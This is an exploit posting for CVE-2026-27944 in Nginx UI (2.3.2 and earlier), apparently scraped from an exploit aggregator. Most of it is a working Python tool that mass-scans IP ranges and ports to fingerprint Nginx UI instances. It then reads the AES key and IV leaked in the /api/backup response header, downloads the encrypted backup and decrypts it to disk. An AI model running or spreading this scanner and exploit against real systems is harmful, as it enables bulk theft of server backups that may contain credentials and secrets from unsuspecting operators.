## https://sploitus.com/exploit?id=PACKETSTORM:216960
=============================================================================================================================================
| # Title : Nginx UI 2.3.3 Mass Scanner and Backup Decryption Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://nginx.org/ |
=============================================================================================================================================
[+] Summary : This Python tool is a multi‑threaded scanner and exploitation utility designed to identify and validate the vulnerability CVE-2026-27944 affecting Nginx UI versions ≤ 2.3.2.
The script supports scanning single hosts, CIDR ranges, or target lists, and checks multiple common web service ports. It fingerprints Nginx UI instances by analyzing page content, HTTP headers, and the /api/version endpoint.
When a target is identified as Nginx UI, the scanner checks the /api/backup endpoint for the presence of the X-Backup-Security HTTP header, which contains a Base64‑encoded AES key and IV used to encrypt backup archives. Because the cryptographic material is disclosed in the response headers, the script can retrieve the encrypted backup and decrypt it automatically.
Main Capabilities
Multi‑threaded mass scanning engine for large network ranges
Automatic Nginx UI detection using HTML and header fingerprints
Version comparison to detect potentially vulnerable versions
Direct vulnerability confirmation via /api/backup endpoint
Automated exploit module that downloads and decrypts the backup
JSON output for scan results and analysis
[+] POC : >python 1.py --target https://127.0.0.1
#!/usr/bin/env python3
import argparse
import base64
import os
import json
import ipaddress
import threading
from concurrent.futures import ThreadPoolExecutor
from urllib.parse import urljoin, urlparse
import requests
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
VULN_VERSION_MAX = "2.3.2"
DEFAULT_PORTS = [80,443,8080,8443,9000,9001,9080]
def version_leq(v1,v2):
try:
a=[int(x) for x in v1.split(".")]
b=[int(x) for x in v2.split(".")]
length=max(len(a),len(b))
a+= [0]*(length-len(a))
b+= [0]*(length-len(b))
return a<=b
except:
return False
def create_session():
s=requests.Session()
retry=Retry(
total=2,
backoff_factor=0.3,
status_forcelist=[500,502,503,504]
)
adapter=HTTPAdapter(max_retries=retry)
s.mount("http://",adapter)
s.mount("https://",adapter)
s.headers.update({
"User-Agent":"Mozilla/5.0"
})
return s
def expand_targets(file,cidr,target,ports):
targets=[]
if target:
targets.append((target,ports))
if cidr:
net=ipaddress.ip_network(cidr,strict=False)
for ip in net.hosts():
targets.append((str(ip),ports))
if file:
with open(file) as f:
for line in f:
line=line.strip()
if line:
targets.append((line,ports))
return targets
def detect_nginx_ui(host,port,ssl=False):
proto="https" if ssl else "http"
url=f"{proto}://{host}:{port}"
session=create_session()
result={
"url":url,
"host":host,
"port":port,
"version":None,
"is_ui":False,
"is_vuln":False,
"confidence":0
}
try:
r=session.get(url,timeout=5,verify=False)
if "<title>Nginx UI</title>" in r.text:
result["confidence"]+=40
if "nginx-ui" in r.text.lower():
result["confidence"]+=20
server=r.headers.get("Server","")
if "nginx" in server.lower():
result["confidence"]+=5
try:
vr=session.get(f"{url}/api/version",timeout=5,verify=False)
if vr.status_code==200:
data=vr.json()
if "version" in data:
result["version"]=data["version"]
if version_leq(result["version"],VULN_VERSION_MAX):
result["is_vuln"]=True
result["confidence"]+=30
except:
pass
try:
br=session.head(f"{url}/api/backup",timeout=5,verify=False)
if br.status_code==200 and "X-Backup-Security" in br.headers:
result["is_ui"]=True
result["is_vuln"]=True
result["confidence"]=100
except:
pass
if result["confidence"]>=50:
result["is_ui"]=True
except:
pass
return result
def mass_scan(targets,threads):
results=[]
vuln=[]
lock=threading.Lock()
total=len(targets)
counter=0
def worker(target):
nonlocal counter
host,ports=target
for port in ports:
for ssl in [False,True]:
r=detect_nginx_ui(host,port,ssl)
with lock:
counter+=1
print(f"\rScanned {counter}",end="")
if r["is_ui"]:
results.append(r)
if r["is_vuln"]:
vuln.append(r)
with ThreadPoolExecutor(max_workers=threads) as exe:
exe.map(worker,targets)
print()
return results,vuln
def fast_exploit(url):
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
session=create_session()
try:
endpoint=urljoin(url+"/","api/backup")
head=session.head(endpoint,timeout=5)
if "X-Backup-Security" not in head.headers:
print("Target not vulnerable")
return
header=head.headers["X-Backup-Security"]
parts=header.split(":")
if len(parts)!=2:
print("Invalid header")
return
key=base64.b64decode(parts[0])
iv=base64.b64decode(parts[1])
r=session.get(endpoint)
cipher=AES.new(key,AES.MODE_CBC,iv)
data=unpad(cipher.decrypt(r.content),16)
os.makedirs("exploited",exist_ok=True)
name=urlparse(url).netloc.replace(":","_")
path=f"exploited/{name}.zip"
open(path,"wb").write(data)
print("Backup saved:",path)
except Exception as e:
print("Exploit failed:",e)
def main():
parser=argparse.ArgumentParser()
parser.add_argument("--cidr")
parser.add_argument("--file")
parser.add_argument("--target")
parser.add_argument("--threads",type=int,default=100)
parser.add_argument("--ports",default=",".join(map(str,DEFAULT_PORTS)))
parser.add_argument("--exploit")
args=parser.parse_args()
if args.exploit:
fast_exploit(args.exploit)
return
ports=[int(x) for x in args.ports.split(",")]
targets=expand_targets(args.file,args.cidr,args.target,ports)
if not targets:
print("No targets specified")
return
results,vuln=mass_scan(targets,args.threads)
json.dump(results,open("scan_results.json","w"),indent=2)
print("Found UI:",len(results))
print("Vulnerable:",len(vuln))
if __name__=="__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================